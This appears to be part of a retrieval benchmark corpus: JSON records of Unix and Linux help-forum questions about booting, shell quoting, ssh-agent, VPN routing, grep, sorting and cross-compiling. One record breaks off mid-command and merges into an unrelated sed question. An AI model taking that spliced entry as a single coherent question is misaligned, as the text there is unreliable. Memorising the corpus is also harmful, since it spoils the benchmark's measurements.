boot slackware after installation. Liloconfig not found", "text": "I just installed my first linux distro: slackware. The installation went fine. I followed this guy's tutorial for the setup: https://www.youtube.com/watch?v=DdwZylEQcQ0 And this guy's tutorial for the formatting the disk etc: https://www.youtube.com/watch?v=HGgAGAle1a8 Unfortunately, slackware won't boot after completing the installation. After some googling I found out that it's most likely due to LILO not working. I've installed LILO using the simple installation, selecting standard and then the MBR option (just like in the first YT video). After rebooting I'm getting the syslinux boot: menu again. If I reboot without installation USB i'll get the same as prior to installing slackware. Entering liloconfig in the boot: menu as some people online suggested resulted in something like 'liloconfig... no such file or directory found.' I would really like to use slackware right now, so can any one of you help me out? Thanks in advance! ps: If it matters, I'm installing on a stripped HP Probook 4710s"} {"_id": "27005", "title": "Encrypting file only with SSH -priv-key?", "text": "Suppose I want to encrypt a file so that only I can read it, by knowing my SSH private key password. I am sharing a repo where I want to encrypt or obfuscate sensitive information. By that, I mean that the repo will contain the information but I will open it only in special cases. 1. Suppose I am using SSH-agent, is there some easy way to encrypt the file for only me to open it later? 2. I cannot see why I should use GPG for this, question here; basically I know the password and I want to only decrypt the file by the same password as my SSH key. Is this possible?"} {"_id": "59209", "title": "store and execute redirection/piped command in script", "text": "How do you store, and later execute, a command with redirection and and a pipe? (And is it the pipe, or the redirection, or both, that's causing my problem?) I tried to print the urxvt version in a script, as well as echo the actual command. The command I use to get the version is `urxvt -help 2>&1 | head -n 2` - for some reason, urxvt prints help to `stderr`; as for the `head`, only the two first rows contain version and configuration data. In the shell, it works great, but, in the script (isolated the problem, below), it seems the third line loses its head: #!/bin/bash VER_URXVT='urxvt -help 2>&1 | head -n 2' echo $VER_URXVT $VER_URXVT"} {"_id": "27001", "title": "Unable to boot VM: Error 13: Invalid or Unsupported Executable Format", "text": "I used VMWare vConverter and everything converted fine, but when I try to boot I get an error: ![Error 13: Invalid or unsupported executable format](http://i.stack.imgur.com/H4h4E.jpg) The physical machine boots correctly, so I don't think it is a source machine issue. I am not sure why the VM won't boot; aren't VMs exact copies of source machines?"} {"_id": "92187", "title": "Setting IFS for a single statement", "text": "I know that a custom IFS value can be set for the scope of a single command/built-in. Is there a way to set a custom IFS value for a single statement?? Apparently not, since based on the below the global IFS value is affected when this is attempted #check environment IFS value, it is space-tab-newline printf \"%s\" \"$IFS\" | od -bc 0000000 040 011 012 \\t \\n 0000003 #invoke built-in with custom IFS IFS=$'\\n' read -r -d '' -a arr <<< \"$str\" #environment IFS value remains unchanged as seen below printf \"%s\" \"$IFS\" | od -bc 0000000 040 011 012 \\t \\n 0000003 #now attempt to set IFS for a single statement IFS=$'\\n' a=($str) #BUT environment IFS value is overwritten as seen below printf \"%s\" \"$IFS\" | od -bc 0000000 012 \\n 0000001"} {"_id": "73600", "title": "tac command's option creates strange output [comprehension question]", "text": "Say I have this file, containing nothing but a b c b a Using `tac --separator=a file` in BASH [on a Debian based Linux], I get this: # empty line # empty line b c b aacommand@prompt # two a just before the prompt **Question** : As far as I understood, `\\--separator=a` defines that `a` marks the break inside the string, instead of `newline`. **Is this right?** I have tried this with other strings an much more input and ended up with quite a mess. The other options all work quite right, I presume: If I use `tac --before` I first get about five than one empty lines, but then this is about what should happen, right?"} {"_id": "92185", "title": "What's the story behind Super Cow Powers?", "text": "As we know, `apt-get` has Super Cow Powers and `aptitude` does not: $ apt-get --help | grep -i cow This APT has Super Cow Powers. $ aptitude --help | grep -i cow This aptitude does not have Super Cow Powers. and of course, APT has an Easter egg to go with it: $ apt-get moo (__) (oo) /------\\/ / | || * /\\---/\\ ~~ ~~ ....\"Have you mooed today?\"... I'm curious, is there are story behind this Easter egg? What's its history? I know it's been in apt for a long time\u2014from a quick grep of apt sources in old Debian releases, it gained it sometime between Debian 2.2 (potato; apt 0.3.19) and Debian 3.0 (woody; apt 0.5.4). **edit:** According to a message from Jacob Kuntz on the Debian-Devel mailing list, it was in apt 0.5.0 in Feb. 2001. A message from Matt Zimmerman on the Debian bug tracker makes it sound like 0.5.0 is when it was added."} {"_id": "73602", "title": "Creating an Alias to Loopback Interface with an Arbitrary Name", "text": "I have an odd problem that seems simple enough but has evaded me thus far. I am attempting to support a legacy application that has a hard-coded ethernet device name (\"eth0\"). This hard-coding, I am told, will not change. Now, we are attempting to bring this software in a much more modern OS (Fedora 17) that uses persistent device naming and, as such, has no \"eth0\" interface. Furthermore, this effort requires that I use the loopback interface for communication to another module as part of a virtualization effort (there is actually a LOT more going on here, but that would take way too long to describe). I am aware that it is possible to create an alias of the form \"lo:0\", however the software is explicitly looking for \"eth0\" and my research and testing thus far has indicated that the \"iface:N\" naming scheme is the only one supported. So, in short: **Is there any way to create a virtual interface named \"eth0\" that communicates over lo?**"} {"_id": "73605", "title": "How can I silence ssh-agent?", "text": "I have a script like this one at my `.bashrc` file at the `mysuer` home: eval `ssh-agent` ssh-add /path/to/my/key The problem is I have this output when I log with the user `mysuer` (`su - myuser`): Agent pid 1234 Identity added: /path/to/my/key (/path/to/my/key) I would like avoid this, silence this output, but load the `ssh-agent` and `ssh-add`. How can I perform this?"} {"_id": "128355", "title": "Can I ssh to a server through a pptp tunnel?", "text": "I'm new to VPNs, so there's a good chance I'm completely misunderstanding my needs here. My workplace is setup so that I can only ssh into its servers when either (a) I'm using a computer in the building or (b) I'm connected via VPN. Naturally, they only support VPN through Windows, so I'm on my own for figuring out how to (and whether I even can) get it working on linux. I have a start on connecting to the VPN on the command line. If I type: pon work it'll connect using the settings in `/etc/ppp/peers/work` with the following syslog output: [pppd] pppd 2.4.6 started by root, uid 0 [pppd] Using interface ppp0 [pppd] Connect: ppp0 <--> /dev/pts/3 [pppd] pppd 2.4.6 started by root, uid 0 [pppd] Using interface ppp1 [pppd] Connect: ppp1 <--> /dev/pts/4 and then, 30 seconds later: [pppd] LCP: timeout sending Config-Requests_ [pppd] Connection terminated. [pppd] Modem hangup [pppd] Exit. [pppd] LCP: timeout sending Config-Requests_ [pppd] Connection terminated. [pppd] Modem hangup [pppd] Exit. It's around here that I took a step back and realized that I have no idea how I'll even know if it's working. I did manage to find this page on PPTP routing, but I have no idea what kind of route I even want to setup. Do I want client-to-LAN? The server I'm connecting to is public-facing; it just only accepts ssh connections from machines in the building (or, allegedly, over VPN). So I don't see how client-to-LAN would help me, since I really just want traffic to a particular IP address to go through the PPTP tunnel. For all intents and purposes, my home machine has no GUI whatsoever. I'm only interested in connecting to a single computer via port 22 through the VPN. My questions at this point: 1. Is what I'm trying to do possible (assuming I get my PPTP client working)? 2. Can you point me to any examples of somebody who's made this work? All I can find are people doing the opposite (i.e. PPTP through an ssh tunnel), and it doesn't help that I have no idea what I'm doing."} {"_id": "92181", "title": "Linux process \"scheduling\"", "text": "I've seen it written many times that the Linux scheduler schedules processes. I'm teaching a course on multithreaded programming, and would like to get my terminology straight. I have one thing I would like to say about it (written below), hoping someone can help me clear out the most egregious errors: > It's not the process that the scheduler schedules, it's the _thread_ > associated to that process. The process is simply a bunch of memory mapping > segments, and thus static. We can see this clearly when we > `pthread_create()` or even `clone()` (mostly, but not exactly, the same), > whereby one process has several threads, and it is those that are scheduled > (otherwise you would only schedule the process thread (the PID=TID one), > rather than any other. I assume the ambiguity is due to the fact that all > processes have at least one thread of execution. Is this the correct (although simplified) picture?"} {"_id": "73606", "title": "Any programs suitable for making a database over disk-content?", "text": "I have quite a lot of external hard-drives, and often have a hard time finding what I'm looking for - not to mention not storing the same file several times on different drives or finding free space when I need. I was therefor wondering if there are any database-programs suitable for storing the content of disks; including filenames, size and modification dates? Generally, the more automated the program is in searching each disk and parse information about the files, the better. Ideally, it should use a checksum (or something) to identify an identical files. A database that also stores information about each disk - like partitioning, format (filesystems) and free space remaining (on each partition) - would be a plus. I have MySQL and PostgreSQL, as well as Apache with PHP, running on my computer, so I can use solution based on these. Though I'm really after a more specialized stand-alone program; at least for managing collections, but preferably specialized for keeping track of files on multiple disks. I'm also open to unconventional approaches (using a program intended for something else). Has anybody had a similar problem and found a good solution?"} {"_id": "73609", "title": "Arch Linux: Apache just isn't interpreting the index.php files", "text": "Title is self explanatory. I'm on Arch Linux, I installed the `apache`, `php`, `php-apache` and `mariadb` packages. I have added the following line to the `/etc/httpd/conf/httpd.conf` file: LoadModule php5_module modules/libphp5.so However it doesn't seem to make a difference. It recognizes index.html files flawlessly, it renders them correctly as well. However if it's a index.php file then it just reads it as-is. What I get on the browser is the text contents of the file, as if it was a text editor but without the text editing. Any info that you need to help I will happily provide. :)"} {"_id": "73608", "title": "Program for identifying files from unfinished torrent-downloads?", "text": "Are there any programs that can help identify files and directories belonging to unfinished bittorrent-downloads? I've made a mess, and I'm unsure of which downloads are finished and which are not. I could obviously use the bt-client, if I still had the torrent-files, but I don't. I'm therefor looking for way to identify _likely_ unfinished bt-downloads - doesn't have to be 100% accurate. I've noticed that bt-clients typically create empty-files, as well as leave files with \"holes\" (blocks of the file with just NULL-characters), so this could perhaps be a good way to find likely candidates. Sadly, I don't know any good Linux-commands for finding files with blocks of NULLs..."} {"_id": "74051", "title": "Mplayer2 stuck when I press XF86Audio keys", "text": "When mplayer2 got focused, if I press XF86 audio keys, e.g. volume up, it gets stuck for one second then continues to play the video. If mplayer is not focused, that won't happen. Is there any way to prevent that behavior? Running `MPlayer2 UNKNOWN (C) 2000-2012 MPlayer Team`, Arch Linux, Kwin + RazorQt desktop"} {"_id": "74050", "title": "Installing Dovecot and Exim on CentOS 6.4", "text": "I've been looking for some guides on setting up a secure Dovecot and Exim mail server setup on CentOS 6.4, however it seems there's nothing out there. Does anyone know of any guides - or - if someone could push me in the right direction that'd be fantastic."} {"_id": "74055", "title": "bash - reading user variable into bash script grep", "text": "I've tried every possible combination to get this bash script working. It's part of a larger script, and it basically prompts for a username (to check if it exists) and returns the appropriate response: #! /bin/bash # Script to see if User exists clear echo -n \"Enter user to check: \" read $uzer grep -c '^${uzer}:' /etc/passwd if [ $? -eq 0 ]; then echo \"User does exist :)\" else echo \"No such user\" fi In terminal the following works fine: grep -c '^devuser1:' /etc/passwd RETURNS: 1 grep -c '^devuser1234:' /etc/passwd RETURNS: 0 I've tried many combinations of passing the read variable into `'^${uzer}:'` with no joy. Any ideas what else I can try?"} {"_id": "117027", "title": "Insert a character that isn't present on my keyboard on Linux Mint", "text": "As stated in the title: How can I use `Alt+` on Linux (Mint 16) on a netbook which doesn't have a num pad nor a \"Num lock\" button? I found lots of tutorials for Windows, but no one with Linux. I also tried using Alt+\"Fn\" key but I just get some strange behavior on terminal,like (while running `gdb`) : (arg: 23)"} {"_id": "32588", "title": "grep for words of no more than a certain length", "text": "I'm looking for a way to grep things like: `i log for E M, i 1 f x i 0, I xi 1, 3 1,.` simply based on number of characters. Nothing in that hypothetical output is longer than three characters. This hypothetical one-liner would look something like, `grep -v [:alnum:] > {3}`. (Except I just don't know how to write that in grep syntax.)"} {"_id": "132779", "title": "How to read an IP address backwards?", "text": "If we have this string (IP address): `192.168.1.1` How can I derive the (DNS reverse record form) from this string, so it will be shown like `1.1.168.192.in-addr.arpa` using a shell script?"} {"_id": "55789", "title": "How to determine the current Enhanced Zoom factor in Compiz?", "text": "When I use Skype :( need to, rather than want to ), I find that I sometimes want to open the main menu, but it doesn't have a shortcut key assigned to it (well, not one that I can find). I have written a bash/python script which searches for and clicks on Skype's main menu icon. This works quite well when the icon is within the screen area and when it is off-screen with a normal sized (un-zoomed) screen. However, I cannot find a way to locate the icon so that I can move it into the zoomed screen area (so the script can send a mouse-click to it). To do this the current Compiz Enhanced Zoom factor needs to be known. I would like to know if this value is accessible, and how? ... and maybe; **Is** there a shortcut key for Skype's main menu? but I still want to know about the Compiz value, as the issue has come up before, and probably will again. (using Ubuntu 10.04, compiz 0.8.4)"} {"_id": "52762", "title": "Trying to sort on two fields, second then first", "text": "I am trying to sort on multiple columns. The results are not as expected. Here's my data (people.txt): Simon Strange 62 Pete Brown 37 Mark Brown 46 Stefan Heinz 52 Tony Bedford 50 John Strange 51 Fred Bloggs 22 James Bedford 21 Emily Bedford 18 Ana Villamor 44 Alice Villamor 50 Francis Chepstow 56 The following works correctly: bash-3.2$ sort -k2 -k3 **Possible Duplicate:** > Insert a multiline string into another string I have a file called `foo.txt` containing: foo bar baz I want to replace every occurence of `bar` with a multiline string, stored in the variable `$bar`: 1 2 3 Resulting in: foo 1 2 3 baz I can do this in `awk` using: echo \"$bar\" | awk '{ if(FILENAME == \"-\") { if(i != \"\") { i = i\"\\n\" } i = i$0 } else { if($0 == \"bar\") { printf i } else { print } } }' However trying to do the same in `sed` using `sed 's/bar/'\"$bar\"'/' foobar.txt` gives the error: sed: 1: \"s/bar/1 2 3/\": unescaped newline inside substitute pattern Can this be fixed? If there is an even easier way of doing this using another standard tool, I would like to know that too."} {"_id": "55782", "title": "Make Apache view hidden files (Solaris)", "text": "Is it possible to make an Apache server like this Apache/1.3.41 Server at user.it.uu.se Port 80 display hidden files (i.e., those who start with a dot) in a specific directory? I have some configuration there that's accessible (no problem), only those files don't show when I navigate to that directory. (Of course, you could set up an HTML interface with links, etc., even automatize update, but I'd rather just view the files like any others.) It's my school's server, so I can't configure it apart from putting a file in that directory, telling the server to override the habit of not showing hidden files. Is this something you normally do, and, if so, how? The system, if it matters (with `uname -a`): SunOS yxan.it.uu.se 5.10 Generic_147440-25 sun4u sparc SUNW,Sun-Fire-V240"} {"_id": "78922", "title": "Is there a text-only equivalent (no curses) of `zenity --question`?", "text": "For my mercurial commit hook, I want to run my test cases and be asked whether I really want to commit if any of the tests fail. I'm thinking something like ` || ` is the way to go, except I don't know what to put in the `` spot. My best solution so far is `zenity --question`, but I would like something that doesn't depend on X11. Then there's `dialog`, but that depends on curses which is a no-go inside an emacs shell. So, I'm pretty stumped. How do I turn a yes-or-no user input into a zero-or-nonzero exit status?"} {"_id": "98602", "title": "Convert images into avi with Raspberry Pi", "text": "I'm following this page: Creating Timelapse Videos With The Raspberry Pi Camera. But every time I try to make the video, I get this error: ![ss of error](http://i.stack.imgur.com/sNSKy.png) _original:http://i.imgur.com/VLJrK8q.png_ Specifically this command from the output above: $ avconv -r 10 -i pic_%04d.png -r 10 -vcodec libx264 -crf 20 -g 15 \\ -vf crop=2592:1458,scale=1280:720 timelapse.mp4 ... ... Output #0, mp4, to 'timelapse.mp4': Output file #0 does not contain any stream Also when using `mencoder`, following this page: 6.8. Encoding from multiple input image files (JPEG, PNG, TGA, etc.): ![ss of error](http://i.stack.imgur.com/skswM.png) _original:http://i.imgur.com/aY5ZAcm.png_ Can someone please help?"} {"_id": "98603", "title": "Can't change to Korean-named directory on my debian server", "text": "I made a _rsync_ backup of some directories from a macbook laptop to a debian server. Some of these have korean characters ( _Hangeul_ ) in their names. After fixing my server's locale, it displays well when I do a _ls_ for instance. But I can't _cd_ to it. Example: $ ls -1 | head \ud55c\uad6d\uc5b4 dirA dirB \u2026 But if try to go browse that directory: $ cd \ud55c \uad6d \uc5b4 cd: 3: can't cd to \ud55c\uad6d\uc5b4 Any idea what's wrong and how to fix it ?"} {"_id": "128556", "title": "Unable to SSH into Google Cloud Server after Reboot", "text": "I was learning to configure a Debian server and familiarising myself with the common command lines. However, after executing the `reboot` command in SSH, my subsequent SSH connections were refused and I have total no access to the server. I was able to `ping` the server. I attempted to reboot through the Google cloud interface too, however I was still unable to connect successfully. Having this as a cloud server, I do not have any physical access to the server. The solution that I seem to see are to reconfigure the SSH settings which I can't without logging in. What are the possible alternatives I have now or recreating a new instance is the only solution?"} {"_id": "98606", "title": "bash: Using read <<<\"$VARIABLE\" on a read-only root partition", "text": "Just by coincidence I had to use my ATA-ID-to-device-name script (found here: http://serverfault.com/questions/244944/linux-ata-errors-translating-to-a- device-name/426561#426561) on a **read-only** `/` partition. In case you're curious, it was an Ubuntu recovery console which will let you access your `/` partition, but will mount it read-only by default. I am glad about that, because otherwise I would probably never have found out that my script behaves strangely on a R/O system due to a specific line, this one: IFS=: read HostMain HostMid HostSub <<< \"$HostFull\" This does _not_ work if there is no write permission. I wouldn't have assumed it would fail, though. But apparently the `<<<` operator _does_ require to write some temporary file to somewhere. But is there any way to circumvent the creation of a temporary file, or, is there any way to specify where the file is written to? In the Ubuntu recovery console, there is---oddly enough---write permission on the `/run` directory, so that would do, if I could somehow \"tell\" `read` to write the temp file to somewhere else than usual."} {"_id": "115925", "title": "Occasional screen blackouts on Debian 7", "text": "I installed Debian 7 on an Asus Eee PC 2101HA. Sometimes the screen goes black for 1 second. My VGA card is `VGA compatible controller: Intel Corporation System Controller Hub (SCH Poulsbo) Graphics Controller (rev 07)`"} {"_id": "98605", "title": "Hauppage WinTV USB 40001", "text": "I have tried, unsuccessfully, to hook up my (very old) video capture device. I have tried making it work with `tvtime`, but to no avail. I've tried sending messages to th e dsitribution list but I've had no replies yet (no wonder, it was today, but I've decided to take a more proactive apprach :). Maybe some of you have had the same issue? Here's the error: Your capture card driver: USBVision [Hauppauge WinTV USB (NTSC M/N)/usb- 0000:00:1d.0-1.8/ does not support full size studio-quality images required by tvtime. This is true for many low-quality webcams. Please select a different video device for tvtime to use with the command line option --device. Any ideas?"} {"_id": "98608", "title": "Trying to login-in in the Ubuntu tty", "text": "I am having some trouble starting the recently upgraded Ubuntu. So, I try to boot in recovery mode, and start a terminal (with Ctrl + Alt + F1). However, when the terminal starts, I get the prompt Username:$login: but it doesn't get my usual username. When I type it + Return, it doesn't ask for my password. How can I login in this case?"} {"_id": "138594", "title": "Does tar create new inodes to be archived?", "text": "When tar is asked to archive a directory, does it create a new inode for each file system object? If yes, how does it query and save the meta-data? Won't the format of storing this inode metadata vary from system to system? How does tar maintain a consistent output?"} {"_id": "125706", "title": "why can't I install packages with rpm? I get \"transaction lock\"", "text": "I'm having problems with `yum` and I am trying to re-install it. I've download `yum.3.2.0-40-el6.centos.noarch.rpm`. When I try: $ rpm -ivh yum.3.2.0-40-el6.centos.noarch.rpm I get: > error: can't create transaction lock on /var/lib/rpm/.rpm.lock (Permission > denied) I tried running `su -` and I'm getting this error: > -bash: su: command not found` I get the same \"permission denied error\" if I try to uninstall `yum` and force ignore dependencies (without forcing to ignore dependencies, it fails uninstall with a few dependencies)."} {"_id": "35584", "title": "Can I list only specific subdirectories?", "text": "I have a folder tree structure like arndell \\_databases \\_daily \\_weekly claremont \\_databases \\_daily \\_weekly monte \\_databases \\_daily \\_weekly and I am only after all files inside weekly and daily directories. Is there a way I can achieve that using shell command or commands? I tried `ls -R */weekly/` from the top folder but it didn't work."} {"_id": "9940", "title": "Convince apt-get *not* to use IPv6 method", "text": "The ISP I work at is setting up an internal IPv6 network in preparation for eventually connecting to the IPv6 internet. As a result, several of the servers in this network now try to connect to security.debian.org via its IPv6 address by default when running `apt-get update`, and that results in having to wait for a lengthy timeout whenever I'm downloading updates of any sort. Is there a way to tell apt to either prefer IPv4 or ignore IPv6 altogether?"} {"_id": "4899", "title": "$VAR vs ${VAR} and to quote or not to quote", "text": "I can write VAR=$VAR1 VAR=${VAR1} VAR=\"$VAR1\" VAR=\"${VAR1}\" the end result to me all seems about the same. Why should I write one or the other? are any of these not portable/POSIX?"} {"_id": "78002", "title": "when to use double quotes with a variable in shell script?", "text": "I am in a confusion with what is meant by the double quotes referring to a variable. For example following two scripts gives the same output. What is really meant by the double quotes? Script1 getent passwd | while IFS=: read a b c d e f ; do echo login \"$a\" is \"$d\" done script 2 #! /bin/sh getent passwd | while IFS=: read a b c d e f ; do echo login $a is $d done"} {"_id": "64621", "title": "what is diffrence between \"$var\" and \"${var}\"", "text": "i have seen in many script usage of `\"$var\"` and `\"${var}\"`, so I just want to know diffrence between `\"$var\"` and `\"${var}\"`"} {"_id": "124631", "title": "What is the difference having double quotes or not in bash", "text": "I have some bash scripts, one which has the following content: #!/bin/bash source $(dirname ${BASH_SOURCE[0]})/script.sh while the other one has the following content: #!/bin/bash source \"$(dirname ${BASH_SOURCE[0]})/script.sh\" How do these scripts behave differently and why? What _is_ the difference?"} {"_id": "9944", "title": "How does a kernel mount the root partition?", "text": "My question is with regards to booting a Linux system from a separate /boot partition. If most configuration files are located on a separate / partition, how does the kernel correctly mount it at boot time? Any elaboration on this would be great. I feel as though I am missing something basic. I am mostly concerned with the process and order of operations. Thanks! EDIT: I think what I needed to ask was more along the lines of the dev file that is used in the root kernel parameter. For instance, say I give my root param as root=/dev/sda2. How does the kernel have a mapping of the /dev/sda2 file?"} {"_id": "107919", "title": "Installing Kali Linux dual boot Windows 8", "text": "I have Windows 8 currently installed on my computer I created a 350gb partition. I removed secure boot and enabled legacy boot sources, I booted into a live environment, installed Kali, everything went smooth and flawless, it prompted me that the next time I reboot it will show the Grub boot loader so I reboot and it doesn't show the boot loader. Is there something I did wrong? I asked someone what they thought and he said I didn't install grub on the MBR, I installed it on the partition itself, but I followed the tutorial on this link http://docs.kali.org/installation/dual-boot-kali-with-windows"} {"_id": "13391", "title": "Getting \"Not found\" message when running a 32-bit binary on a 64-bit system", "text": "I have currently a strange problem on debian (wheezy/amd64). I have created a chroot to install a server (i can't give any more detail about it, sorry). Let's call its path `/chr_path/`. To make things easy, I have initialized this chroot with a debootstrap (also wheezy/amd64). All seemed to work well inside the chroot but when I started the installer script of my serveur I got : `zsh: Not found /some_path/perl` (the installer includes a perl binary for some reasons) Naturally, I checked the `/some_path/` location and I found the \"perl\" binary. `file` in chroot environment returns : /some_path/perl ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.2.5, not stripped The file exists, seems ok, has correct rights. I can use `file`, `ls`, `vim` on it but as soon as I try to execute it - `./perl` for example - I get : `zsh: Not found ./perl`. This situation is quite ununderstable for me. Moreover : * I can execute other basic binaries (/bin/ls,...) in the chroot without getting errors * I have the same problems for other binaries that came with the project * When I try to execute the binary from the main root (`/chr_path/some_path/perl`), it works. * I have tried to put one of the binaries with a copy of my `ls`. I checked that the access rights were the same but this didn't change anything (one was working, and the other wasn't)"} {"_id": "30246", "title": "\"No such file or directory\" when I clearly see the file listed with correct permissions", "text": "> **Possible Duplicate:** > Getting \"Not found\" message when running a 32-bit binary on a 64-bit system Ok I feel like I'm having some sort of brain fade moment, please help me out. I just installed Unreal Tournament on my Linux Mint Debian Edition OS. The startup script was complaining about a missing file so I decided to check it out manually. ~/Desktop $ ut /usr/local/bin/ut: 78: ./ut-bin: not found ~/Desktop $ cd /usr/local/games/ut/System/ /usr/local/games/ut/System $ ls -l ut-bin -rwxrwxr-x 1 root staff 91336 Jan 28 11:33 ut-bin /usr/local/games/ut/System $ ./ut-bin bash: ./ut-bin: No such file or directory `ut-bin` is a binary executable according to the `file` command. Why is bash complaining about a missing file? I tried executing it in another shell and got a similar error. I also launched a new terminal with no change. What am I missing here?"} {"_id": "79768", "title": "executable lies about own existence", "text": "Okay, I'm completely baffled on this one. I'm installing a piece of software called InterPro Scan for my superiors, and it is complaining about an executable not existing. Please see below. root@cpt:/usr/local/lib/iprscan# bin/Linux/seqret bash: bin/Linux/seqret: No such file or directory root@cpt:/usr/local/lib/iprscan# ls bin/Linux/seqret bin/Linux/seqret root@cpt:/usr/local/lib/iprscan# stat bin/Linux/seqret File: `bin/Linux/seqret' Size: 949624 Blocks: 1856 IO Block: 4096 regular file Device: 801h/2049d Inode: 38541532 Links: 1 Access: (0755/-rwxr-xr-x) Uid: ( 1257/ UNKNOWN) Gid: ( 1055/ UNKNOWN) Access: 2013-06-17 17:28:41.317364148 -0500 Modify: 2009-12-16 05:57:46.000000000 -0600 Change: 2013-06-17 17:28:33.049363860 -0500 Birth: - root@cpt:/usr/local/lib/iprscan# md5sum bin/Linux/seqret bc08e679fb146bc47e6f41636dcc1f88 bin/Linux/seqret root@cpt:/usr/local/lib/iprscan# file /usr/local/lib/iprscan/bin/binaries/seqret /usr/local/lib/iprscan/bin/binaries/seqret: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.2.5, not stripped It exists! But it says it doesn't? I'm incredibly confused. root@cpt:/usr/local/lib/iprscan# /usr/local/lib/iprscan/bin/iprscan -cli -i /usr/local/lib/iprscan/test.seq -o /usr/local/lib/iprscan/test.out -format raw -goterms -iprlookup This calls the wrapper script: /usr/local/lib/iprscan/conf/seqret.sh: line 18: /usr/local/lib/iprscan/bin/binaries/seqret: No such file or directory /usr/local/lib/iprscan/bin/iprscan: checkParams: unable to create input files: formatSequences: This is the original call to the wrapper script: /usr/local/lib/iprscan/conf/seqret.sh /usr/local/lib/iprscan/tmp/20130617/iprscan-20130617-17561022/iprscan-20130617-17561022.seqs > /usr/local/lib/iprscan/tmp/20130617/iprscan-20130617-17561022/iprscan-20130617-17561022.input.formatted: exit status 127 All of the input files exist. The wrapper script itself root@cpt:/usr/local/lib/iprscan# cat /usr/local/lib/iprscan/conf/seqret.sh #!/bin/bash ##### NOTE #### # Should be already set by iprscan_wrapper.pl. # If not just add the full path to your iprscan installation #IPRSCAN_HOME=/your/path/here/to/iprscan ############### IPRSCAN_HOME=/usr/local/lib/iprscan #Needed for seqret & sixpack emboss applications EMBOSS_ROOT=$IPRSCAN_HOME/conf export EMBOSS_ROOT EMBOSS_ACDROOT=$IPRSCAN_HOME/conf/acd export EMBOSS_ACDROOT # \"$@\" is related to the command line of formatcmd tag in file iprscan.conf. $IPRSCAN_HOME/bin/binaries/seqret -osf fasta -auto -stdout \"$@\""} {"_id": "53259", "title": "problem occur during installation of moses scripts", "text": "> **Possible Duplicate:** > /bin/sh: ./check-dependencies.pl: not found \u2014 but check-dependencies.pl > exists! I obtain an error when I compile `moses-script`, which reads as follows: minakshi@minakshi-Vostro-3500:~/Desktop/monu/moses/scripts$ make release # Compile the parts make all make[1]: Entering directory `/home/minakshi/Desktop/monu/moses/scripts' # Building memscore may fail e.g. if boost is not available. # We ignore this because traditional scoring will still work and memscore isn't used by default. cd training/memscore ; \\ ./configure && make \\ || ( echo \"WARNING: Building memscore failed.\"; \\ echo 'training/memscore/memscore' >> ../../release-exclude ) checking for a BSD-compatible install... /usr/bin/install -c checking whether build environment is sane... yes checking for gawk... no checking for mawk... mawk checking whether make sets $(MAKE)... yes checking for g++... g++ checking whether the C++ compiler works... yes checking for C++ compiler default output file name... a.out checking for suffix of executables... checking whether we are cross compiling... no checking for suffix of object files... o checking whether we are using the GNU C++ compiler... yes checking whether g++ accepts -g... yes checking for style of include used by make... GNU checking dependency style of g++... gcc3 checking for gcc... gcc checking whether we are using the GNU C compiler... yes checking whether gcc accepts -g... yes checking for gcc option to accept ISO C89... none needed checking dependency style of gcc... gcc3 checking for boostlib >= 1.31.0... yes checking for cos in -lm... yes checking for gzopen in -lz... yes checking for cblas_dgemm in -lgslcblas... no checking for gsl_blas_dgemm in -lgsl... no checking how to run the C++ preprocessor... g++ -E checking for grep that handles long lines and -e... /bin/grep checking for egrep... /bin/grep -E checking for ANSI C header files... yes checking for sys/types.h... yes checking for sys/stat.h... yes checking for stdlib.h... yes checking for string.h... yes checking for memory.h... yes checking for strings.h... yes checking for inttypes.h... yes checking for stdint.h... yes checking for unistd.h... yes checking n_gram.h usability... no checking n_gram.h presence... no checking for n_gram.h... no checking for size_t... yes checking for ptrdiff_t... yes configure: creating ./config.status config.status: creating Makefile config.status: creating config.h config.status: config.h is unchanged config.status: executing depfiles commands make[2]: Entering directory `/home/minakshi/Desktop/monu/moses/scripts/training/memscore' make all-am make[3]: Entering directory `/home/minakshi/Desktop/monu/moses/scripts/training/memscore' make[3]: Leaving directory `/home/minakshi/Desktop/monu/moses/scripts/training/memscore' make[2]: Leaving directory `/home/minakshi/Desktop/monu/moses/scripts/training/memscore' touch release-exclude # No files excluded by default pwd=`pwd`; \\ for subdir in cmert-0.5 phrase-extract symal mbr lexical-reordering; do \\ make -C training/$subdir || exit 1; \\ echo \"### Compiler $subdir\"; \\ cd $pwd; \\ done make[2]: Entering directory `/home/minakshi/Desktop/monu/moses/scripts/training/cmert-0.5' make[2]: Nothing to be done for `all'. make[2]: Leaving directory `/home/minakshi/Desktop/monu/moses/scripts/training/cmert-0.5' ### Compiler cmert-0.5 make[2]: Entering directory `/home/minakshi/Desktop/monu/moses/scripts/training/phrase-extract' make[2]: Nothing to be done for `all'. make[2]: Leaving directory `/home/minakshi/Desktop/monu/moses/scripts/training/phrase-extract' ### Compiler phrase-extract make[2]: Entering directory `/home/minakshi/Desktop/monu/moses/scripts/training/symal' make[2]: Nothing to be done for `all'. make[2]: Leaving directory `/home/minakshi/Desktop/monu/moses/scripts/training/symal' ### Compiler symal make[2]: Entering directory `/home/minakshi/Desktop/monu/moses/scripts/training/mbr' make[2]: Nothing to be done for `all'. make[2]: Leaving directory `/home/minakshi/Desktop/monu/moses/scripts/training/mbr' ### Compiler mbr make[2]: Entering directory `/home/minakshi/Desktop/monu/moses/scripts/training/lexical-reordering' make[2]: Nothing to be done for `all'. make[2]: Leaving directory `/home/minakshi/Desktop/monu/moses/scripts/training/lexical-reordering' ### Compiler lexical-reordering ## All files that need compilation were compiled make[1]: Leaving directory `/home/minakshi/Desktop/monu/moses/scripts' /bin/sh: ./check-dependencies.pl: not found make: *** [release] Error 127 We don't know why this error occurs? check-dependencies.pl file existed in scripts folder ..."} {"_id": "134395", "title": "make: arm-elf-gcc: Command not found", "text": "I'm working on an application for a Moxa UC-7110, and I have installed their tool chain, which provides a cross compiler for their arm architecture on uClinux. I'm on on Ubuntu 12.04 LTS. I'm having trouble getting the compiler to work though. I was able to run the tool chain installer successfully, and I see the arm-elf-gcc compiler under /usr/local/bin along with others. However, when I run make, I get a command not found error. Here is the make file: srcdir = . LDFLAGS = -Wl,-elf2flt LIBS = CFLAGS = --verbose # Change these if necessary CC = arm-elf-gcc CPP = arm-elf-gcc -E all: hello hello: $(CC) -o $@ $(CFLAGS) $(LDFLAGS) $(LIBS) $@.c clean: rm -f 